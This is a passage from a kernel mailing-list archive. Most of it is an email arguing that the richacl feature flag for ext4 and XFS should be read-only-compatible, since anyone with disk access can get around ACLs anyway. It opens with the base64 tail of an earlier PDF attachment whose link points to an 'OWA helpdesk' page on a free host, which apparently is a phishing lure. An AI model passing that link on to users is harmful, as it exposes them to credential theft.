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 MCAwIDAgMCA2NjIgNTE3IDAgNTQzIDQ1OSA0ODcgNjQyIDAgODkwIDAgNDg3IDAgMCAwIDAgMCAw IDAgNDc5IDUyNSA0MjMgNTI1IDQ5OCAzMDUgNDcxIDUyNSAyMzAgMjM5IDQ1NSAyMzAgNzk5IDUy NSA1MjcgNTI1IDAgMzQ5IDM5MSAzMzUgNTI1IDQ1MiA3MTUgMCA0NTMgMzk1XQ0KZW5kb2JqDQo2 IDAgb2JqDQo8PC9UeXBlL0V4dEdTdGF0ZS9CTS9Ob3JtYWwvY2EgMT4+DQplbmRvYmoNCjcgMCBv YmoNCjw8L1R5cGUvRXh0R1N0YXRlL0JNL05vcm1hbC9DQSAxPj4NCmVuZG9iag0KOCAwIG9iag0K PDwvRmlsdGVyL0ZsYXRlRGVjb2RlL0xlbmd0aCA4MTU+PnN0cmVhbQ0KeJyNVE1P20AQvUfKf5jj bkW23vVnjtACbS+tIAihqAfX2SQuJkFeA0p/fWdmYzuhdYsQsDuer33vzZzNxqP3Fxq0VkEEs+V4 pCHAHw2pUYGJIA2mKslg9oB+l9cprNx4FMCKb9n+djkezcXdVk5S8SRDUYPUgbAPcpKIvKykjgXk RSEzgS4xu2zwtwE5CcULmnMHP5+c1GZvIw9nF9C0IeDK1UYmAsoNLGupQzTHAgtEAgo5MWJNZSlB Z7cgUx9MtUBOxW25kZFYyNCbqbBTcHfYVg0WrxyfUzZsHmNf+O6oiX3r2Bsmo3dpClURpp9S55Dj yfclv8Psy3h0jgCfzf6ANZlGSntY5+KixsbKBbae74CCNfaeUL5mPZBGG6OS5DjNUEltYhW88uUn LwcjwkRl5jjiK5FadJT8IBjqofg0VOFx+AlRYOhNAT5O0yGmPwrFosWtJRZh4Skkxjfd0WuC2bUF WjKxQriIhvIXQmYxLyoFXdZSI4wOtdaU1OwzQVk2O1/mwssGE3p9srlnntKDsxRSPDEf5I/BMbbO CuBC+eK5LPBgualdqzFK4ZVYldRFcQ8o1wP5/VsMaUZwE1DeXq/a0xXP1vX5h5urz9jU7I5Vhg3c fKPTJYF3dfrxfIiIRKv4VYFVN7KD9CcRC6aPmou8HR5YllVFb4SNLSw14VxObdReuzgYqKyOPQbW TxSxog9AaVr0eGqYLb7yJNAbi2pLRod84Kz1E72EXYvu0L7BaFw5WzJ1+0bxFvBKw1OT36OY7SEI PfodM4maQjZVsYFApQZqOx4t3/2dxQRFH/Ugz3GHsSS4R9JhJuAZUbT1rmXR2boHhddetWNl9XCj 14tt/V/yTYO47R9Plnv+Zh9Zv6TWXo+4LJu1pfRQbdsvj/SFVzVzwIPC9DwSp56yJt/v51S0s9Sx 5gCfwRxjtUl8yAKroKDpON7zakBmcZCxzHrchiXZYhylKkve6BsaFb/RVaf4f+97Zh2vk5OBGNxq 5nXM//IHWkWt72xNy8OIT7RBK+KDeLaOyGTuTxHDdnw6EB0tlIbJzruRGkLWBNjj9LjsYYu/AVpG uyYNCmVuZHN0cmVhbQ0KZW5kb2JqDQo5IDAgb2JqDQo8PC9TdWJ0eXBlL0xpbmsvUmVjdFs2OS43 NTAgNjczLjY3MCAxNjMuNzEwIDY4OS4xMjBdL0JTPDwvVyAwPj4vRiA0L0E8PC9UeXBlL0FjdGlv bi9TL1VSSS9VUkkgKGh0dHA6Ly9oZWxwZGVza293YS5qaW1kby5jb20vKT4+Pj4NCmVuZG9iag0K MTAgMCBvYmoNCjw8L0NyZWF0b3IgKP7/AE0AaQBjAHIAbwBzAG8AZgB0AK4AIABXAG8AcgBkACAA MgAwADEAMykvQXV0aG9yICh3ZWV6eSkvS2V5d29yZHMgKHd3dy5OZWV2aWEuY29tLCBEb2N1bWVu dCBDb252ZXJ0ZXIgUHJvLCBDb252ZXJ0IHRvIFBERiBvciBJbWFnZSBpbiBiYXRjaGVzISkvUHJv ZHVjZXIgKE5lZXZpYSBEb2N1bWVudCBDb252ZXJ0ZXIgUHJvIHY2LjcgXChodHRwOi8vbmVldmlh LmNvbVwpKS9DcmVhdGlvbkRhdGUgKEQ6MjAxNTEwMTYxMjU1MzUtMDQnMDAnKS9Nb2REYXRlIChE OjIwMTUxMDE2MTI1NTM4LTA0JzAwJyk+Pg0KZW5kb2JqDQoxMSAwIG9iag0KPDwvQ291bnQgMS9U eXBlL1BhZ2VzL0tpZHNbMTIgMCBSXT4+DQplbmRvYmoNCjEyIDAgb2JqDQo8PC9UeXBlL1BhZ2Vz L1BhcmVudCAxMSAwIFIvS2lkc1sxIDAgUl0vQ291bnQgMT4+DQplbmRvYmoNCjEzIDAgb2JqDQo8 PC9MYW5nIChlbi1VUykvVHlwZS9DYXRhbG9nL1BhZ2VzIDExIDAgUi9NZXRhZGF0YSAxNCAwIFIv RXh0ZW5zaW9uczw8L0FEQkU8PC9CYXNlVmVyc2lvbi8xLjcvRXh0ZW5zaW9uTGV2ZWwgMz4+Pj4+ Pg0KZW5kb2JqDQoxNCAwIG9iag0KPDwvTGVuZ3RoIDE3NTkvVHlwZS9NZXRhZGF0YS9TdWJ0eXBl L1hNTD4+c3RyZWFtDQo8P3hwYWNrZXQgYmVnaW49J++7vycgaWQ9J1c1TTBNcENlaGlIenJlU3pO VGN6a2M5ZCc/Pgo8P2Fkb2JlLXhhcC1maWx0ZXJzIGVzYz0iQ1JMRiI/Pgo8eDp4bXBtZXRhIHht bG5zOng9J2Fkb2JlOm5zOm1ldGEvJyB4OnhtcHRrPSczLjEtNzAyJz4KPHJkZjpSREYgeG1sbnM6 cmRmPSdodHRwOi8vd3d3LnczLm9yZy8xOTk5LzAyLzIyLXJkZi1zeW50YXgtbnMjJz4KPHJkZjpE ZXNjcmlwdGlvbiByZGY6YWJvdXQ9J0NGQTRGRTcxLTg5NjAtNTExQS1CQ0ZELTJFQjhGNjkyQTNF NycgeG1sbnM6cGRmPSdodHRwOi8vbnMuYWRvYmUuY29tL3BkZi8xLjMvJz48cGRmOktleXdvcmRz Pnd3dy5OZWV2aWEuY29tLCBEb2N1bWVudCBDb252ZXJ0ZXIgUHJvLCBDb252ZXJ0IHRvIFBERiBv ciBJbWFnZSBpbiBiYXRjaGVzITwvcGRmOktleXdvcmRzPjxwZGY6UHJvZHVjZXI+TmVldmlhIERv Y3VtZW50IENvbnZlcnRlciBQcm8gdjYuNyAoaHR0cDovL25lZXZpYS5jb20pPC9wZGY6UHJvZHVj ZXI+PC9yZGY6RGVzY3JpcHRpb24+CjxyZGY6RGVzY3JpcHRpb24gcmRmOmFib3V0PSdDRkE0RkU3 MS04OTYwLTUxMUEtQkNGRC0yRUI4RjY5MkEzRTcnIHhtbG5zOnhtcD0naHR0cDovL25zLmFkb2Jl LmNvbS94YXAvMS4wLyc+PHhtcDpNb2RpZnlEYXRlPjIwMTUtMTAtMTZUMTI6NTU6MzgtMDQ6MDA8 L3htcDpNb2RpZnlEYXRlPjx4bXA6Q3JlYXRlRGF0ZT4yMDE1LTEwLTE2VDEyOjU1OjM1LTA0OjAw PC94bXA6Q3JlYXRlRGF0ZT48eG1wOk1ldGFkYXRhRGF0ZT4yMDE1LTEwLTE2VDEyOjU1OjM1LTA0 OjAwPC94bXA6TWV0YWRhdGFEYXRlPjx4bXA6Q3JlYXRvclRvb2w+TWljcm9zb2Z0wq4gV29yZCAy MDEzPC94bXA6Q3JlYXRvclRvb2w+PC9yZGY6RGVzY3JpcHRpb24+CjxyZGY6RGVzY3JpcHRpb24g cmRmOmFib3V0PSdDRkE0RkU3MS04OTYwLTUxMUEtQkNGRC0yRUI4RjY5MkEzRTcnIHhtbG5zOmRj PSdodHRwOi8vcHVybC5vcmcvZGMvZWxlbWVudHMvMS4xLyc+PGRjOmZvcm1hdD5hcHBsaWNhdGlv bi9wZGY8L2RjOmZvcm1hdD48ZGM6ZGVzY3JpcHRpb24+PHJkZjpBbHQ+PHJkZjpsaSB4bWw6bGFu Zz0neC1kZWZhdWx0Jz48L3JkZjpsaT48L3JkZjpBbHQ+PC9kYzpkZXNjcmlwdGlvbj48ZGM6Y3Jl YXRvcj48cmRmOlNlcT48cmRmOmxpPndlZXp5PC9yZGY6bGk+PC9yZGY6U2VxPjwvZGM6Y3JlYXRv cj48ZGM6dGl0bGU+PHJkZjpBbHQ+PHJkZjpsaSB4bWw6bGFuZz0neC1kZWZhdWx0Jz48L3JkZjps aT48L3JkZjpBbHQ+PC9kYzp0aXRsZT48L3JkZjpEZXNjcmlwdGlvbj4KPHJkZjpEZXNjcmlwdGlv biByZGY6YWJvdXQ9J0NGQTRGRTcxLTg5NjAtNTExQS1CQ0ZELTJFQjhGNjkyQTNFNycgeG1sbnM6 eG1wTU09J2h0dHA6Ly9ucy5hZG9iZS5jb20veGFwLzEuMC9tbS8nPjx4bXBNTTpEb2N1bWVudElE PnV1aWQ6NkQ3QzEyNEQtNDY4My1GRDRCLTNFNjMtRThDOTdGNDczRTA2PC94bXBNTTpEb2N1bWVu dElEPjx4bXBNTTpJbnN0YW5jZUlEPnV1aWQ6Q0ZBNEZFNzEtODk2MC01MTFBLUJDRkQtMkVCOEY2 OTJBM0U3PC94bXBNTTpJbnN0YW5jZUlEPjwvcmRmOkRlc2NyaXB0aW9uPgoKPC9yZGY6UkRGPgo8 L3g6eG1wbWV0YT4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIAo8P3hwYWNrZXQgZW5k PSd3Jz8+DQplbmRzdHJlYW0NCmVuZG9iag0KeHJlZg0KMCAxNQ0KMDAwMDAwMDAwMCA2NTUzNSBm DQowMDAwMDAwMDE3IDAwMDAwIG4NCjAwMDAwMDAzMTggMDAwMDAgbg0KMDAwMDAwMDQ4NSAwMDAw MCBuDQowMDAwMDAwNzIxIDAwMDAwIG4NCjAwMDAxMTE1ODYgMDAwMDAgbg0KMDAwMDExMTg5MCAw MDAwMCBuDQowMDAwMTExOTQzIDAwMDAwIG4NCjAwMDAxMTE5OTYgMDAwMDAgbg0KMDAwMDExMjg4 MyAwMDAwMCBuDQowMDAwMTEzMDMxIDAwMDAwIG4NCjAwMDAxMTMzNTEgMDAwMDAgbg0KMDAwMDEx MzQwNyAwMDAwMCBuDQowMDAwMTEzNDc2IDAwMDAwIG4NCjAwMDAxMTM2MTIgMDAwMDAgbg0KdHJh aWxlcg0KPDwNCi9TaXplIDE1DQovUm9vdCAxMyAwIFINCi9JbmZvIDEwIDAgUg0KL0lEIFs8MTYz QzMwMkI0M0YxODI3QkFCNzI3QUY5NEU4RkRCMkM+PDYyQUVEN0Q2RkZDQTY2M0VDMjZBMjg0NzQ2 NjAxOUNFPl0NCj4+DQpzdGFydHhyZWYNCjExNTQ1Mg0KJSVFT0YNCg== --_004_4DF4D5DE640BF948A68568725D6C50B65CF249DC32BLAMXCMS2blam_-- From ahferroin7@gmail.com Fri Oct 16 13:28:15 2015 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.3 required=5.0 tests=FREEMAIL_ENVFROM_END_DIGIT, FREEMAIL_FROM,T_DKIM_INVALID autolearn=no version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id 1C1197FB3 for ; Fri, 16 Oct 2015 13:28:15 -0500 (CDT) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay1.corp.sgi.com (Postfix) with ESMTP id 0A74D8F804B for ; Fri, 16 Oct 2015 11:28:12 -0700 (PDT) X-ASG-Debug-ID: 1445020090-04cb6c3ced46a20001-NocioJ Received: from mail-ig0-f182.google.com (mail-ig0-f182.google.com [209.85.213.182]) by cuda.sgi.com with ESMTP id yj6DhgxuHfYti0NL (version=TLSv1.2 cipher=ECDHE-RSA-AES128-GCM-SHA256 bits=128 verify=NO) for ; Fri, 16 Oct 2015 11:28:11 -0700 (PDT) X-Barracuda-Envelope-From: ahferroin7@gmail.com X-Barracuda-RBL-Trusted-Forwarder: 209.85.213.182 Received: by igbdj2 with SMTP id dj2so19933471igb.1 for ; Fri, 16 Oct 2015 11:28:10 -0700 (PDT) DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=gmail.com; s=20120113; h=subject:to:references:cc:from:message-id:date:user-agent :mime-version:in-reply-to:content-type; bh=OQrWYf3Qr/mpsPLQi4lb8tH/Vxmzfm1irou5/OxtNOY=; b=JULg615mZUqyw2jI20TYzA6Sa67k13LcdZnM1zHh2hbI7jHtajB2qwR1tujBvxsmQs cFGyW3LSS8p8hzP92kTgU1BiLoJhjTc6P7lkGJaNuro9jqcApUMGSoFN/H60FTLQrSgR iw8jt/eB/BeBUvBIyNrb3wB233CaCA1P7V+EJ0kuxdwAQDbAUquv8NUd2ClqedZy5ZOZ YFyeyBVxG1JBsS7kqXxexmxlEPCdlYpDER38E3E2mc38Um4CRlDCs9x6yNxmER2QrLOt 8ghQU8Si8h4fc8NBIL0+NWCE/efhcGjVS8Otr1UqTqeO4EgA37K7MMmW4mWjmeYDBQZr BUqg== X-Received: by 10.50.50.40 with SMTP id z8mr7305836ign.85.1445020090579; Fri, 16 Oct 2015 11:28:10 -0700 (PDT) Received: from [127.0.0.1] (rrcs-70-62-41-24.central.biz.rr.com. [70.62.41.24]) by smtp.googlemail.com with ESMTPSA id j7sm678398igt.0.2015.10.16.11.28.08 (version=TLSv1.2 cipher=ECDHE-RSA-AES128-GCM-SHA256 bits=128/128); Fri, 16 Oct 2015 11:28:08 -0700 (PDT) Subject: Re: [PATCH v11 21/48] ext4: Add richacl feature flag To: Andreas Gruenbacher X-ASG-Orig-Subj: Re: [PATCH v11 21/48] ext4: Add richacl feature flag References: <1445008706-15115-1-git-send-email-agruenba@redhat.com> <1445008706-15115-22-git-send-email-agruenba@redhat.com> <5621346E.5000500@gmail.com> Cc: Alexander Viro , Theodore Ts'o , Andreas Dilger , "J. Bruce Fields" , Jeff Layton , Trond Myklebust , Anna Schumaker , Dave Chinner , linux-ext4 , xfs@oss.sgi.com, LKML , linux-fsdevel , Linux NFS Mailing List , linux-cifs@vger.kernel.org, Linux API , "Aneesh Kumar K.V" From: Austin S Hemmelgarn Message-ID: <562141AD.60302@gmail.com> Date: Fri, 16 Oct 2015 14:27:57 -0400 User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:38.0) Gecko/20100101 Thunderbird/38.3.0 MIME-Version: 1.0 In-Reply-To: Content-Type: multipart/signed; protocol="application/pkcs7-signature"; micalg=sha-512; boundary="------------ms020706030005000206080603" X-Antivirus: avast! (VPS 151016-0, 2015-10-16), Outbound message X-Antivirus-Status: Clean X-Barracuda-Connect: mail-ig0-f182.google.com[209.85.213.182] X-Barracuda-Start-Time: 1445020091 X-Barracuda-Encrypted: ECDHE-RSA-AES128-GCM-SHA256 X-Barracuda-URL: https://192.48.176.15:443/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=DKIM_SIGNED, DKIM_VERIFIED X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.3.23552 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- -0.00 DKIM_VERIFIED Domain Keys Identified Mail: signature passes verification 0.00 DKIM_SIGNED Domain Keys Identified Mail: message has a signature This is a cryptographically signed message in MIME format. --------------ms020706030005000206080603 Content-Type: text/plain; charset=utf-8; format=flowed Content-Transfer-Encoding: quoted-printable On 2015-10-16 13:41, Andreas Gruenbacher wrote: > On Fri, Oct 16, 2015 at 7:31 PM, Austin S Hemmelgarn > wrote: >> I would like to re-iterate, on both XFS and ext4, I _really_ think thi= s >> should be a ro_compat flag, and not an incompat one. If a person has = the >> ability to mount the FS (even if it's a read-only mount), then they by= >> definition have read access to the file or partition that the filesyst= em is >> contained in, which means that any ACL's stored on the filesystem are >> functionally irrelevant, > > It is unfortunately not safe to make such a file system accessible to > other users, so the feature is not strictly read-only compatible. If it's not safe WRT data integrity, then the design needs to be=20 reworked, as that directly implies that isn't safe for even every day=20 usage on a writable filesystem. If it's not safe WRT the ACL's being honored, then that really isn't=20 something we should be worrying about. POSIX ACL's have this issue, as=20 does mounting a filesystem on any system with a different=20 /etc/{passwd,shadow,group,gshadow} than the one that wrote the=20 permissions to the FS in the first place, and as such this is the type=20 of thing any sensible system administrator will already expect to be=20 dangerous, which means in turn that they will only do it if there is no=20 other choice. Trying to rely on making this an incompat feature to 'enforce' the ACL's = is inherently flawed for two very specific reasons: 1. If the person theoretically trying to attack the system has write=20 access to the disk, they can flip the feature bit and get access anyway=20 (seriously, this takes maybe ten minutes of looking at the source code,=20 some simple math and a hex editor). 2. If the disk is read-only (or even if it's writable), they can just=20 forgo mounting the filesystem entirely and use any of a number of=20 existing tools to pull the data directly off of the disk. As I said in a previous discussion about this, the three most likely=20 reasons for someone mounting a filesystem with this feature on a kernel=20 that doesn't support it are: 1. They've booted into a recovery environment (eg SystemRescueCD) to=20 attempt to recover data from the system itself (this usage implies=20 access to the hardware, and therefore the ACL's are inherently useless=20 for protecting the data anyway). 2. They've pulled the disk and hooked it up to a different system to=20 recover data from it (again, this implies access to the hardware, and=20 ACL's are inherently useless for protecting from this). 3. They're trying to bisect a kernel bug introduced at around the same=20 time that richacls went in (which means again they have hardware access=20 and ACL's are useless). All that making this an incompat feature will do is make things harder=20 for these legitimate use cases, for any competent attacker it will only=20 be a minor inconvenience. --------------ms020706030005000206080603 Content-Type: application/pkcs7-signature; name="smime.p7s" Content-Transfer-Encoding: base64 Content-Disposition: attachment; filename="smime.p7s" Content-Description: S/MIME Cryptographic Signature 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 cnQub3JnMSIwIAYDVQQDExlDQSBDZXJ0IFNpZ25pbmcgQXV0aG9yaXR5MSEwHwYJKoZIhvcN AQkBFhJzdXBwb3J0QGNhY2VydC5vcmcCAxEt+DANBglghkgBZQMEAgMFAKCCAiEwGAYJKoZI hvcNAQkDMQsGCSqGSIb3DQEHATAcBgkqhkiG9w0BCQUxDxcNMTUxMDE2MTgyNzU3WjBPBgkq hkiG9w0BCQQxQgRA+legPYobTKQcNAlViBgbnbYH3l0LrmDzA+1d4HDqf78AGERVacY0t0rX cVtNZgQ9+3gcw2Yp4e9SE9Hp4Z7ogzBsBgkqhkiG9w0BCQ8xXzBdMAsGCWCGSAFlAwQBKjAL BglghkgBZQMEAQIwCgYIKoZIhvcNAwcwDgYIKoZIhvcNAwICAgCAMA0GCCqGSIb3DQMCAgFA MAcGBSsOAwIHMA0GCCqGSIb3DQMCAgEoMIGRBgkrBgEEAYI3EAQxgYMwgYAweTEQMA4GA1UE ChMHUm9vdCBDQTEeMBwGA1UECxMVaHR0cDovL3d3dy5jYWNlcnQub3JnMSIwIAYDVQQDExlD QSBDZXJ0IFNpZ25pbmcgQXV0aG9yaXR5MSEwHwYJKoZIhvcNAQkBFhJzdXBwb3J0QGNhY2Vy dC5vcmcCAxEt+DCBkwYLKoZIhvcNAQkQAgsxgYOggYAweTEQMA4GA1UEChMHUm9vdCBDQTEe MBwGA1UECxMVaHR0cDovL3d3dy5jYWNlcnQub3JnMSIwIAYDVQQDExlDQSBDZXJ0IFNpZ25p bmcgQXV0aG9yaXR5MSEwHwYJKoZIhvcNAQkBFhJzdXBwb3J0QGNhY2VydC5vcmcCAxEt+DAN BgkqhkiG9w0BAQEFAASCAgCE1YBQWrj+xmJfwSsbrMUCUnR7kITafUuZhzO4oEaiiVtUdQvt uo5j/AnoPs4vQBZjTAn7zGcIu0e/WRUwTAztl+tQFb+KTzlUypS74y4ilWH7rPgw80Opta9Z EUHnUM0PmIvRK0zP3metSCSXACmYJx7S62Tl+E5wXVJfGeKyT0OG+dshdlC3Tbw9CefCfMvd 0K8Fwz+yG7ZTgZ67iTo/IcyaDlPw8jO9HI1FrpfdLoEnzpbVKdyDcHtUFOwfu7VJafBCa+28 QoRmWEZTFIm3cOk74sz0Lhoxow5CWRt90+sQtyqf1ids/r4nxStPkMmt2axEZPVKNZ04Gv7F 